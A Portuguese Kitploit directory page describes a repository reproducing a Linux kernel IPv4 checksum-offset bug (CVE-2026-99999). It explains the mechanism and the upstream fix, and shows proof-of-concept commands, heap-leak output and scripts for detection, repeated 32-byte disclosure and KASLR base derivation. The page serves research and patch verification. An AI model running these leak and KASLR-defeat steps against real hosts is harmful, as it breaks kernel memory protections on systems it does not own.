Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-99999-pwnescape — Reprodução e análise da falha de validação csum_start do IPv4 no Linux (CVE-2026-99999): reescrita de cabeçalho, divulgação de heap de 32 bytes, oráculo de vazamento e derrota do KASLR. | Kitploit
Ferramentas/GitHubGitHub/gandli/cve-2026-99999-pwnescape
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoSegurança de RedePapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHub
Compartilhar
gandli/cve-2026-99999-pwnescape

CVE-2026-99999-pwnescape

Reprodução e análise da falha de validação csum_start do IPv4 no Linux (CVE-2026-99999): reescrita de cabeçalho, divulgação de heap de 32 bytes, oráculo de vazamento e derrota do KASLR.

Ver Repositório
223há 1 mêsAinda não revisado

CVE-2026-99999 (PwnEscape): uma escrita de checksum adiada reescreve o cabeçalho IPv4 que o kernel já analisou

English · 简体中文

Reprodução do bug de validação de csum_start do IPv4 do Linux corrigido por 6785011f8b16 ("ipv4: validate checksum_start before completing checksum"). Dado execução de código dentro de uma VM convidada, um processo sem privilégios numa TAP preparada reescreve um cabeçalho que o kernel já analisou e, em seguida, lê 32 bytes além dos dados lineares do pacote.

Pré-condiçãoexecução de código dentro da VM convidada — não remoto, não pré-autenticação
Reproduzido em6.18.54.1-microsoft-standard-WSL2
Kernels afetadostodas as versões abaixo da correção do respetivo ramo — KERNELS.md
Corrigido em6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11
CVSS 3.19.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Correção upstream6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin)
Reportado porPaulos Yibelo (pwn.ai)
Pré-compiladov1.0.0 static binaries

Prova

$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
  frag 0: first=0x4f ihl=60B tot_len=196
    options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
    past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options

O primeiro byte é 0x4f em vez de 0x45 — versão 4, comprimento do cabeçalho de 15 palavras em vez de 5. Os oito bytes a5 são o marcador que este reprodutor gravou no fragmento; tudo depois deles não faz parte do pacote. a9 cb 43 9e 88 ff ff é lido como 0xffff889e43cba9, um endereço de mapa direto do kernel.

Mecanismo

Três estágios: injetar um frame com csum_start no byte 22, remontar dois fragmentos em um cabeçalho linear de 28 bytes, depois copiar um cabeçalho de 60 bytes e ler 32 bytes além dele

skb_checksum_help() transforma metadados de checksum em uma escrita:

write address = skb->head + csum_start + csum_offset

Nada antes da correção verificava que csum_start fica depois do cabeçalho IPv4. A verificação de admissão compara o deslocamento do transporte com um comprimento mínimo de cabeçalho medido a partir do skb->data atual — uma coordenada relativa ao frame:

/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
        return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len)   /* 20 bytes */
        return -EINVAL;

Para um frame de [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22 faz com que skb_transport_offset() == 22 >= 20, então os metadados são aceitos, enquanto a distância real a partir do cabeçalho de rede é 0. As duas tags VLAN são removidas no caminho de recepção, então a coordenada relativa ao frame sobrevive até a L3 e a escrita adiada recai sobre version/ihl.

A ordenação é a outra metade. ip_do_fragment() concluiu o checksum pendente antes de ler iph->ihl:

/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
        goto fail;

iph = ip_hdr(skb);
...
hlen = iph->ihl * 4;          /* now 60, not 20 */

O cabeçalho foi validado como 20 bytes; o consumidor lê 15 palavras da mesma memória. skb_checksum_help() não é o culpado — os metadados foram autorizados a descrever um pacote diferente daquele que existe.

A correção adiciona um limite relativo à rede e o invoca antes de cada ponto de conclusão:

static inline int ip_check_csum_start(const struct sk_buff *skb)
{
        if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
                return -EINVAL;
        return 0;
}

Com C = csum_start, N = network_header, H = ip_hdrlen e O >= 0, exigir C >= N + H significa que a escrita C + O não pode mais alcançar o cabeçalho.

Início rápido

Contêiner privilegiado em um kernel vulnerável (o kernel é o que importa):

docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh

# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify

# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee

Em um host de teste bare-metal ou VM: sudo sh lab/setup.sh, depois execute os mesmos comandos como root nesse network namespace. Requer /dev/net/tun, nf_conntrack, nf_defrag_ipv4, ip e nft.

O laboratório

lab/setup.sh cria um TAP para injeção e um par veth para egress:

              inject                       forward + defrag          egress
  userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
  (virtio_net_hdr,       |                  conntrack defrag        MTU 200
   csum_start=22)        |                  nft prerouting -450         │
                         └── two fragments reassembled ────────────────┤
                             into a 28-byte linear head                ▼
                                                                     pwnv1
                                                                  (capture)

A regra ct do nft registra nf_defrag_ipv4, portanto os dois fragmentos são remontados antes que o caminho de encaminhamento os fragmente novamente. Qualquer coisa que retorne por pwnv1 é descartada. lab/teardown.sh remove tudo isso.

O que os números significam

O fragmento de offset 0 carrega 8 bytes, então, após a remontagem, a cabeça linear lógica é 20 + 8 = 28 bytes, enquanto o fragmentador copia ihl * 4 = 60:

[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
                            └─ copied into the fragments' IPv4 options

overrun = 60 - (20 + head), então --head 40 é o caso de controle (nenhum byte cruza o limite) e --head 8 produz a divulgação de 32 bytes.

No caminho do slab, a cauda é zerada por CONFIG_INIT_ON_ALLOC_DEFAULT_ON e o vazamento é lido como 00. --page move o cabeçalho do skb para um page_frag reciclado, onde a cauda ainda contém o que a página continha antes.

Detecção e exploração

python3 exp/probe.py --passive        # version verdict, no packets
python3 exp/probe.py --active         # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24       # repeatable 32-byte disclosure + physmap KASLR base

probe.py compara um datagrama de controle com metadados de checksum bem formados com um cujo csum_start fica no cabeçalho IPv4: cabeçalho reescrito → vulnerável, teste descartado pela guarda → corrigido, nada capturado → problema de laboratório. leak.py repete a leitura excessiva, extrai ponteiros canônicos do kernel e deriva a base KASLR do physmap.

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    370
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    289

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →